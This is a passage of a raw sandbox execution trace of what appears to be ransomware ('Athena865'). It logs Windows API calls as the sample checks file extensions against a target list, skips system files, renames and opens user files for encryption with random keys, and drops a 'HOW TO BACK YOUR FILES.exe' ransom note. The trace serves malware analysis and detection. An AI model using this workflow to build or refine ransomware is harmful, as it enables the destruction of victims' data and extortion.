(lpString="odb") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0105.031] lstrlenW (lpString="oqy") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0105.031] lstrlenW (lpString="ora") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0105.031] lstrlenW (lpString="orx") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0105.031] lstrlenW (lpString="owc") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0105.031] lstrlenW (lpString="p96") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0105.031] lstrlenW (lpString="p97") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0105.032] lstrlenW (lpString="pan") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0105.032] lstrlenW (lpString="pdb") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0105.032] lstrlenW (lpString="pdm") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0105.032] lstrlenW (lpString="pnz") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0105.032] lstrlenW (lpString="qry") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0105.032] lstrlenW (lpString="qvd") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0105.032] lstrlenW (lpString="rbf") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0105.032] lstrlenW (lpString="rctd") returned 4 [0105.032] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0105.032] lstrlenW (lpString="rod") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0105.032] lstrlenW (lpString="rodx") returned 4 [0105.032] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0105.032] lstrlenW (lpString="rpd") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0105.032] lstrlenW (lpString="rsd") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0105.032] lstrlenW (lpString="sas7bdat") returned 8 [0105.032] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0105.032] lstrlenW (lpString="sbf") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0105.032] lstrlenW (lpString="scx") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0105.032] lstrlenW (lpString="sdb") returned 3 [0105.032] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0105.032] lstrlenW (lpString="sdc") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0105.033] lstrlenW (lpString="sdf") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0105.033] lstrlenW (lpString="sis") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0105.033] lstrlenW (lpString="spq") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0105.033] lstrlenW (lpString="te") returned 2 [0105.033] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0105.033] lstrlenW (lpString="teacher") returned 7 [0105.033] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0105.033] lstrlenW (lpString="tmd") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0105.033] lstrlenW (lpString="tps") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0105.033] lstrlenW (lpString="trc") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0105.033] lstrlenW (lpString="trc") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0105.033] lstrlenW (lpString="trm") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0105.033] lstrlenW (lpString="udb") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0105.033] lstrlenW (lpString="udl") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0105.033] lstrlenW (lpString="usr") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0105.033] lstrlenW (lpString="v12") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0105.033] lstrlenW (lpString="vis") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0105.033] lstrlenW (lpString="vpd") returned 3 [0105.033] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0105.034] lstrlenW (lpString="vvv") returned 3 [0105.034] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0105.034] lstrlenW (lpString="wdb") returned 3 [0105.034] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0105.034] lstrlenW (lpString="wmdb") returned 4 [0105.034] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0105.034] lstrlenW (lpString="wrk") returned 3 [0105.034] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0105.034] lstrlenW (lpString="xdb") returned 3 [0105.034] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0105.034] lstrlenW (lpString="xld") returned 3 [0105.034] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0105.034] lstrlenW (lpString="xmlff") returned 5 [0105.034] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0105.034] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\desktop.ini.Athena865") returned 75 [0105.034] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0105.035] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.035] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=326) returned 1 [0105.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.036] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.036] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.036] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.036] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0105.045] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0105.045] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.046] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.046] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.047] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0105.047] CloseHandle (hObject=0x154) returned 1 [0105.047] CloseHandle (hObject=0x17c) returned 1 [0105.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.047] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fda460, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0105.047] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0105.048] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="..") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="windows") returned -1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="bootmgr") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="temp") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="pagefile.sys") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="boot") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="ids.txt") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="ntuser.dat") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="perflogs") returned 1 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="MSBuild") returned 1 [0105.048] lstrlenW (lpString="Wildlife.wmv") returned 12 [0105.048] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Wildlife.wmv" | out: lpString1="Wildlife.wmv") returned="Wildlife.wmv" [0105.048] lstrlenW (lpString="Wildlife.wmv") returned 12 [0105.048] lstrlenW (lpString="Athena865") returned 9 [0105.048] lstrcmpiW (lpString1="dlife.wmv", lpString2="Athena865") returned 1 [0105.048] lstrlenW (lpString=".dll") returned 4 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".dll") returned 1 [0105.048] lstrlenW (lpString=".lnk") returned 4 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".lnk") returned 1 [0105.048] lstrlenW (lpString=".ini") returned 4 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".ini") returned 1 [0105.048] lstrlenW (lpString=".sys") returned 4 [0105.048] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".sys") returned 1 [0105.048] lstrlenW (lpString="Wildlife.wmv") returned 12 [0105.048] lstrlenW (lpString="bak") returned 3 [0105.048] lstrcmpiW (lpString1="wmv", lpString2="bak") returned 1 [0105.048] lstrlenW (lpString="ba_") returned 3 [0105.048] lstrcmpiW (lpString1="wmv", lpString2="ba_") returned 1 [0105.049] lstrlenW (lpString="dbb") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="dbb") returned 1 [0105.049] lstrlenW (lpString="vmdk") returned 4 [0105.049] lstrcmpiW (lpString1=".wmv", lpString2="vmdk") returned -1 [0105.049] lstrlenW (lpString="rar") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="rar") returned 1 [0105.049] lstrlenW (lpString="zip") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="zip") returned -1 [0105.049] lstrlenW (lpString="tgz") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="tgz") returned 1 [0105.049] lstrlenW (lpString="vbox") returned 4 [0105.049] lstrcmpiW (lpString1=".wmv", lpString2="vbox") returned -1 [0105.049] lstrlenW (lpString="vdi") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="vdi") returned 1 [0105.049] lstrlenW (lpString="vhd") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="vhd") returned 1 [0105.049] lstrlenW (lpString="vhdx") returned 4 [0105.049] lstrcmpiW (lpString1=".wmv", lpString2="vhdx") returned -1 [0105.049] lstrlenW (lpString="avhd") returned 4 [0105.049] lstrcmpiW (lpString1=".wmv", lpString2="avhd") returned -1 [0105.049] lstrlenW (lpString="db") returned 2 [0105.049] lstrcmpiW (lpString1="mv", lpString2="db") returned 1 [0105.049] lstrlenW (lpString="db2") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="db2") returned 1 [0105.049] lstrlenW (lpString="db3") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="db3") returned 1 [0105.049] lstrlenW (lpString="dbf") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="dbf") returned 1 [0105.049] lstrlenW (lpString="mdf") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="mdf") returned 1 [0105.049] lstrlenW (lpString="mdb") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="mdb") returned 1 [0105.049] lstrlenW (lpString="sql") returned 3 [0105.049] lstrcmpiW (lpString1="wmv", lpString2="sql") returned 1 [0105.050] lstrlenW (lpString="sqlite") returned 6 [0105.050] lstrcmpiW (lpString1="fe.wmv", lpString2="sqlite") returned -1 [0105.050] lstrlenW (lpString="sqlite3") returned 7 [0105.050] lstrcmpiW (lpString1="ife.wmv", lpString2="sqlite3") returned -1 [0105.050] lstrlenW (lpString="sqlitedb") returned 8 [0105.050] lstrcmpiW (lpString1="life.wmv", lpString2="sqlitedb") returned -1 [0105.050] lstrlenW (lpString="xml") returned 3 [0105.050] lstrcmpiW (lpString1="wmv", lpString2="xml") returned -1 [0105.050] lstrlenW (lpString="$er") returned 3 [0105.050] lstrcmpiW (lpString1="wmv", lpString2="$er") returned 1 [0105.050] lstrlenW (lpString="4dd") returned 3 [0105.050] lstrcmpiW (lpString1="wmv", lpString2="4dd") returned 1 [0105.050] lstrlenW (lpString="4dl") returned 3 [0105.050] lstrcmpiW (lpString1="wmv", lpString2="4dl") returned 1 [0105.050] lstrlenW (lpString="^^^") returned 3 [0105.050] lstrcmpiW (lpString1="wmv", lpString2="^^^") returned 1 [0105.050] lstrlenW (lpString="abs") returned 3 [0105.050] lstrcmpiW (lpString1="wmv", lpString2="abs") returned 1 [0105.050] lstrlenW (lpString="abx") returned 3 [0105.050] lstrcmpiW (lpString1="wmv", lpString2="abx") returned 1 [0105.050] lstrlenW (lpString="accdb") returned 5 [0105.050] lstrcmpiW (lpString1="e.wmv", lpString2="accdb") returned 1 [0105.050] lstrlenW (lpString="accdc") returned 5 [0105.050] lstrcmpiW (lpString1="e.wmv", lpString2="accdc") returned 1 [0105.050] lstrlenW (lpString="accde") returned 5 [0105.050] lstrcmpiW (lpString1="e.wmv", lpString2="accde") returned 1 [0105.050] lstrlenW (lpString="accdr") returned 5 [0105.050] lstrcmpiW (lpString1="e.wmv", lpString2="accdr") returned 1 [0105.050] lstrlenW (lpString="accdt") returned 5 [0105.050] lstrcmpiW (lpString1="e.wmv", lpString2="accdt") returned 1 [0105.050] lstrlenW (lpString="accdw") returned 5 [0105.050] lstrcmpiW (lpString1="e.wmv", lpString2="accdw") returned 1 [0105.051] lstrlenW (lpString="accft") returned 5 [0105.051] lstrcmpiW (lpString1="e.wmv", lpString2="accft") returned 1 [0105.051] lstrlenW (lpString="adb") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="adb") returned 1 [0105.051] lstrlenW (lpString="adb") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="adb") returned 1 [0105.051] lstrlenW (lpString="ade") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="ade") returned 1 [0105.051] lstrlenW (lpString="adf") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="adf") returned 1 [0105.051] lstrlenW (lpString="adn") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="adn") returned 1 [0105.051] lstrlenW (lpString="adp") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="adp") returned 1 [0105.051] lstrlenW (lpString="alf") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="alf") returned 1 [0105.051] lstrlenW (lpString="ask") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="ask") returned 1 [0105.051] lstrlenW (lpString="btr") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="btr") returned 1 [0105.051] lstrlenW (lpString="cat") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="cat") returned 1 [0105.051] lstrlenW (lpString="cdb") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="cdb") returned 1 [0105.051] lstrlenW (lpString="ckp") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="ckp") returned 1 [0105.051] lstrlenW (lpString="cma") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="cma") returned 1 [0105.051] lstrlenW (lpString="cpd") returned 3 [0105.051] lstrcmpiW (lpString1="wmv", lpString2="cpd") returned 1 [0105.051] lstrlenW (lpString="dacpac") returned 6 [0105.051] lstrcmpiW (lpString1="fe.wmv", lpString2="dacpac") returned 1 [0105.052] lstrlenW (lpString="dad") returned 3 [0105.052] lstrcmpiW (lpString1="wmv", lpString2="dad") returned 1 [0105.052] lstrlenW (lpString="dadiagrams") returned 10 [0105.052] lstrcmpiW (lpString1="ldlife.wmv", lpString2="dadiagrams") returned 1 [0105.052] lstrlenW (lpString="daschema") returned 8 [0105.052] lstrcmpiW (lpString1="life.wmv", lpString2="daschema") returned 1 [0105.052] lstrlenW (lpString="db-journal") returned 10 [0105.052] lstrcmpiW (lpString1="ldlife.wmv", lpString2="db-journal") returned 1 [0105.052] lstrlenW (lpString="db-shm") returned 6 [0105.052] lstrcmpiW (lpString1="fe.wmv", lpString2="db-shm") returned 1 [0105.052] lstrlenW (lpString="db-wal") returned 6 [0105.052] lstrcmpiW (lpString1="fe.wmv", lpString2="db-wal") returned 1 [0105.052] lstrlenW (lpString="dbc") returned 3 [0105.052] lstrcmpiW (lpString1="wmv", lpString2="dbc") returned 1 [0105.052] lstrlenW (lpString="dbs") returned 3 [0105.052] lstrcmpiW (lpString1="wmv", lpString2="dbs") returned 1 [0105.052] lstrlenW (lpString="dbt") returned 3 [0105.052] lstrcmpiW (lpString1="wmv", lpString2="dbt") returned 1 [0105.052] lstrlenW (lpString="dbv") returned 3 [0105.052] lstrcmpiW (lpString1="wmv", lpString2="dbv") returned 1 [0105.052] lstrlenW (lpString="dbx") returned 3 [0105.052] lstrcmpiW (lpString1="wmv", lpString2="dbx") returned 1 [0105.052] lstrlenW (lpString="dcb") returned 3 [0105.053] lstrcmpiW (lpString1="wmv", lpString2="dcb") returned 1 [0105.053] lstrcmpiW (lpString1="wmv", lpString2="dct") returned 1 [0105.053] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\Wildlife.wmv.Athena865") returned 76 [0105.054] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\Wildlife.wmv.Athena865" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\wildlife.wmv.athena865"), dwFlags=0x1) returned 1 [0105.055] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\Wildlife.wmv.Athena865" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\wildlife.wmv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.055] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26246026) returned 1 [0105.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.055] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.056] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.056] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.056] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1907e90, lpName=0x0) returned 0x154 [0105.058] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1800000, dwNumberOfBytesToMap=0x107e90) returned 0x2d50000 [0105.193] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.194] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.194] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.195] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0105.204] CloseHandle (hObject=0x154) returned 1 [0105.204] CloseHandle (hObject=0x17c) returned 1 [0105.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.213] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0105.213] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0105.213] ReleaseMutex (hMutex=0xec) returned 1 [0105.213] CloseHandle (hObject=0xec) returned 1 [0105.213] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" [0105.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532f80 | out: hHeap=0x4f0000) returned 1 [0105.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f580 | out: hHeap=0x4f0000) returned 1 [0105.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned 71 [0105.214] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\502EF722628C49DDC8279EB5AE76F099") returned 0xec [0105.214] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0105.214] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" [0105.214] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0105.214] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how to back your files.exe"), bFailIfExists=1) returned 0 [0105.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all 